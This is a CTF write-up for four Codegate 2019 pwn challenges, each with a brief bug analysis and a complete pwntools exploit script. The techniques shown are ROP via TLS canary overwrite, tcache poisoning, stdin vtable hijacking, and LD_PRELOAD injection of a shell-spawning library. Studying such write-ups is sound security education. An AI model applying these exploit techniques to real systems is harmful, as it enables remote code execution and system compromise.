# Codegate CTF 2019 Preliminary
###### tags: `2019 pwn challenge`
## aeiou
### Reversing
- play_with_card()
- nth_card = malloc(0x18)
- nth_card_used = 1
- if all cards are used
- *(int64 *)first_card_addr = second_card_addr
- *(int128 *)second_card_addr = third_card_addr + first_card_addr
- *(int64 *)(third_card_addr+8) = second_card_addr
> It seems that three cards are in a non-circular double linked list
```cpp=
struct card{
card* next
card* prev
}
first_card->next = second_card
first_card->prev = NULL
second_card->next = third_card
second_card->prev = first_card
third_card->next = NULL
third_card->prev = second_card
```
- delete_card()
- if nth_card_used == 1:
- next_card->prev = current_card->prev
- prev_card->next = current_card->next
> unlink the removed card
- teach_numbers()
- creates a pthread and does the follow
- read <= 0x10000 bytes into a 0x1000 bytes local buffer(**buffer overflow**)
- sleep()
- sleeps random seconds
- give_baby_blocks()
### Exploitation
After reading all that, I found that the way to exploit it was just a simple ROP.
Because the program puts the TLS of the thread near to top of the thread's stack(which is mmaped)
By having the privilege to overflow the buffer with about 0x9000 bytes, I could just overflow the stack canary in the TLS, so it simple becomes a ROP attack.
ROP:
- leak libc via puts.plt
- read one_gadget to bss section using ret-2-csu + read()
- we cannot use scanf or any buffered IO since the TLS is damaged when we overwrote it, it would cause segfault.
- stack pivot to bss section
- trigger one_gadget
```python=
from pwn import *
context.terminal = ['tmux','splitw','-h']
p = process('./aeiou_tmp')
elf = ELF('./aeiou_tmp')
libc=ELF('/glibc/x64/2.23/lib/libc-2.23.so')
main_addr = 0x4024FA
routine_addr = 0x4013AA
pop_rdi = 0x04026f3
pop_rsi_p = 0x004026f1
def debug(bps=[]):
cmd = ''
cmd += ''.join(['b *{:#x}\n'.format(b) for b in bps])
cmd += 'c'
gdb.attach(p, cmd)
pause()
def teach(length, content):
p.recvuntil('>>')
p.sendline(str(3))
p.recvuntil('!\n')
p.sendline(str(length))
p.send(content)
def build_csu(addr, arg1, arg2, arg3):
p = p64(0x4026EA)
p += p64(0) # rbx
p += p64(1) # rbp
p += p64(addr) # dst
p += p64(arg3)
p += p64(arg2)
p += p64(arg1)
p += p64(0x4026D0)
p += 'A'*(8*2)
p += p64(0x604038) # rbp
p += 'A'*(8*4)
return p
#debug([0x00401534, 0x004013AA, 0x4026D0])
ret_addr = 0x401507
bss = 0x604038
read_in = build_csu(elf.got['read'], 0, bss+0x8, 0x8)
l_r = 0x0400d70 # leave, ret
rop = p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + read_in + p64(l_r)
payload = ('A'*0x1010 + p64(bss) + rop).ljust(0x17e8, '\x00') + 'A'*8
teach(0x17e8+8, payload)
p.recvuntil(':)\n')
libc_base = u64(p.recvline()[:-1].ljust(8,'\x00'))-libc.sym['puts']
log.info(hex(libc_base))
shot = libc_base + 0xda7c2
p.send(p64(shot))
p.interactive()
```
## god-the-reum
Simple Tcache posioning using `withdraw()` function and overwrite __free_hook
```python
from pwn import *
p = process('./god-the-reum', env={'LD_PRELOAD':'./libc-2.27.so'})
libc = ELF('./libc-2.27.so')
def create(length):
p.recvuntil(': ')
p.sendline(str(1))
p.recvuntil(': ')
p.sendline(str(length))
def withdraw(idx, amount):
p.recvuntil(': ')
p.sendline(str(3))
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(str(amount))
def show():
p.recvuntil(': ')
p.sendline(str(4))
def deposit(idx, amount):
p.recvuntil(': ')
p.sendline(str(2))
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(str(amount))
create(0x500) #0
create(0x68) #1
withdraw(0, 0x500)
show()
leak = p.recvline_startswith('0)')
libc_base = int(leak[leak.find('ballance ')+9:])-0x3ebca0
log.info(hex(libc_base))
malloc_hook = libc_base + libc.sym['__free_hook']
log.info(hex(malloc_hook))
# tcache poisoning
withdraw(1, 0x68)
withdraw(1, -malloc_hook)
create(0x68) #2
create(0x68) #3
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
shot = libc_base + 0x4f322
log.info('shot : '+ hex(shot))
withdraw(3, 0x69)
withdraw(3, -(shot+1))
withdraw(2, 0x68)
p.interactive()
```
## Maris_shop
Haven't done _IO_FILE pwn challenges for a while..., need to get used to it again.
There's a bug in the `buy_all` function, which misses to set the last entry to NULL, therefore leading to a libc leak.
We can use unsorted bin attack to overwrite stdin->buf_end, and then use fgets to overwrite stdin->vtable leading to one_gadget.
```python=
from pwn import *
#context.log_level = 'DEBUG'
p = process('./Maris_shop')
libc = ELF('/glibc/x64/2.23/lib/libc-2.23.so')
cart = []
def add_cart(item_to_buy='', amount=0):
p.recvuntil(':')
p.sendline(str(1))
shop = []
for i in range(1, 7):
item = p.recvline_startswith(str(i)+'.')[3:-1]
item = item[:item.find('-')].strip()
shop.append(item)
p.recvuntil(':')
if item_to_buy == '':
# if just wanting to fill the cart
for i, item in enumerate(shop):
if item not in cart:
cart.append(item)
p.sendline(str(i+1))
p.recvuntil('Amount?:')
p.sendline(str(0))
return item
# if all items are in the cart, send an invalid index
p.sendline(str(7))
else:
if item_to_buy in shop:
p.sendline(str(shop.index(item_to_buy)+1))
p.recvuntil(':')
p.sendline(str(amount))
return True
else:
p.sendline(str(7))
return False
def remove_one(idx):
p.recvuntil(':')
p.sendline(str(2))
p.recvuntil(':')
p.sendline(str(idx))
def buy(buy_all, clear):
p.recvuntil(':')
p.sendline(str(4))
p.recvuntil(':')
if buy_all == True:
p.sendline(str(2))
p.recvuntil(':')
if clear == True:
p.sendline(str(1))
else:
p.sendline(str(2))
def buy_one(idx):
p.recvuntil(':')
p.sendline(str(4))
p.recvuntil(':')
p.sendline(str(1))
p.recvuntil(':')
p.sendline(str(idx))
def buy_all_clear():
buy(True, True)
def show_one(idx):
p.recvuntil(':')
p.sendline(str(3))
p.recvuntil(':')
p.sendline(str(1))
p.recvuntil(':')
p.sendline(str(idx))
# Exploit
for i in range(16):
add_cart()
remove_one(1)
add_cart()
buy_one(0)
add_cart()
buy_all_clear()
show_one(15)
offset = 0x19cb78
name = p.recvline_startswith('Name').split(' ',1)[1]
current_amount = int(p.recvline_startswith('Amount').split(' ')[1])
libc_base = current_amount-offset
log.info('libc base : ' + hex(libc_base))
log.info('index 15 item : ' + name)
stdin = libc_base + libc.sym['_IO_2_1_stdin_']
log.info('stdin : ' + hex(stdin))
while True:
if add_cart(name, stdin+0x30-current_amount)==True:
break
add_cart()
'''
0x4368e execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x436e2 execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xda7c2 execve("/bin/sh", rsp+0x60, environ)
constraints:
[rsp+0x60] == NULL
'''
rce = libc_base + 0x4368e
log.info(hex(rce))
payload = '\x00'*5 + p64(libc_base + libc.sym['_IO_stdfile_1_lock']) + '\xff'*8 + p64(0) + p64(libc_base+libc.sym['_IO_wide_data_0']) +p64(0)*3 + '\xff'*4 + p32(0) + p64(0)*2 + p64(stdin+0xe0) + p64(0)*2 + p64(rce)*10
pause()
p.send(payload)
p.interactive()
```
## cg_casino
### Analysis
There is a buffer overflow vulnerbility when inputting voucher and old voucher.
You could read contents from the old voucher and write 0x1000 bytes to the new voucher.
The container is configured such that you can't read from /proc/self/fd/0 and upload abritrary files. Also, you can't just write to /proc/self/fd/1 to leak informations.
### Exploitation
To be honest, I had no idea how to approch this challenge.
I referenced a few writeups ([1](https://github.com/yuawn/CTF/tree/master/2019/codegate/cg_casino), [2](https://3ffr3s.github.io/2020-01-01-cg_cagino/), [3](https://pwn3r.tistory.com/entry/CODEGATE-2019-QUAL-cgcasino)), and I'll try to explain my take on this challenge with my own words.
#### LD_PRELOAD trick
In the slot machine game, the program will call `system("/usr/bin/clear")`, if we can somehow modify the environment variables with `LD_PRELOAD=/get/shell/library`, such that the library hooks one of the functions that /usr/bin/clear calls, then we could get shell
#### /proc/self/environ
The /proc/self/environ points to a memory area that stores all environment variables, if we modify that meomory area, this file will also change.
There is also a envp array that stores pointers to each corresponding environment variables, the child process will inherit environment variables from here.
We can utilize the bof vulnerbility to modify the environ area to an ELF file and use `merge_voucher` to upload an library. We will also modify the envp array during this process to the string "LD_PRELOAD=xxx.so"
#### Info leak
The offset between the voucher buffer and envp is fixed, but the offset between the envp and the environ is arbitrary. The offset between the stack top and the start of the environ area is fixed
> in the environ area, the content fills all the way to stack top
In the lotto function, it uses `scanf("%u")` to take our guess value, it we enter a value like 'A', then the input would not be taken and the test which tests whether the number is <= 0x2c would be performed on a uninitialized variable, if a stack address locates in that memory, then we could leak it by the out_of_range message.
> we could have to call put_voucher first to get a stack address there
#### Building the library
The library cannot be too big because if the size exceeds the original environ file, we would get a segfault after the content overwrites pass the stack's top.
we can use `gcc -s -nostdlib -Wl, -z, norelro -shared -fPIC -o hook.so hook.c` to build the library that is small enough and the library code looks like this
```clike=
#include <sys/syscall.h>
void __libc_start_main(){
execve("/bin/sh", 0, 0);
}
void execve(char *path, char **argv, char **envp){
asm volatile ("syscall" :: "a"(SYS_execve));
}
```
#### final script
```python
from pwn import *
#context.log_level = 'DEBUG'
context.terminal = ['tmux','splitw','-h']
p = remote('localhost', 6677)
#p = process('./cg_casino')
def debug(bps=[]):
cmd = ''
cmd += ''.join(['b *{:#x}\n'.format(b) for b in bps])
cmd += 'c'
gdb.attach(pidof('cg_casino')[0], cmd, exe='./cg_casino')
#gdb.attach(p, cmd)
pause()
def put_voucher(name):
p.recvuntil('> ')
p.sendline(str(1))
p.recvuntil(': ')
p.sendline(name)
def merge_voucher(name):
p.recvuntil('> ')
p.sendline(str(2))
p.recvuntil(': ')
p.sendline(name)
def lotto():
# leak stack addr
p.recvuntil('> ')
p.sendline(str(3))
p.sendline('1')
p.sendline('2')
p.sendline('A')
leak = p.recvline_contains('out of range')
stack_leak_lower = int(leak.split(' ')[0])
p.sendline(str(3))
p.sendline('B')
leak = p.recvline_contains('out of range')
stack_leak_upper = int(leak.split(' ')[0])
p.sendline(str(0))
p.sendline(str(0))
p.sendline(str(0))
stack_leak = (stack_leak_upper<<32) + stack_leak_lower
log.info(hex(stack_leak))
return stack_leak
#debug([0x401110])
#debug()
put_voucher('kang')
stack_leak = lotto()
buf = stack_leak+0x40 # new voucher (write to)
log.info('buf : ' + hex(buf))
hook = open('./testhook.so').read()
hook = hook.replace('\n','\x0d')
filename = '/home/cg_casino/voucher/hook.so'
# finding stack top and env start
stack_top = (buf & 0xfffffffffffff000) + 0x1000*2
env_start = stack_top-0xd8a
log.info('stack top : '+hex(stack_top))
log.info('env start : '+hex(env_start))
# bof
payload = ((filename.ljust(0x80,'\x00') + 'LD_PRELOAD={}\x00'.format(filename)).ljust(0x158,'\x00') + p64(buf+0x80)).ljust(env_start-buf, '\x00') + hook
put_voucher(payload)
merge_voucher('/proc/self/'.ljust(32-len('environ'),'/') + 'environ')
p.recvuntil('> ')
p.sendline(str(5))
p.interactive()
```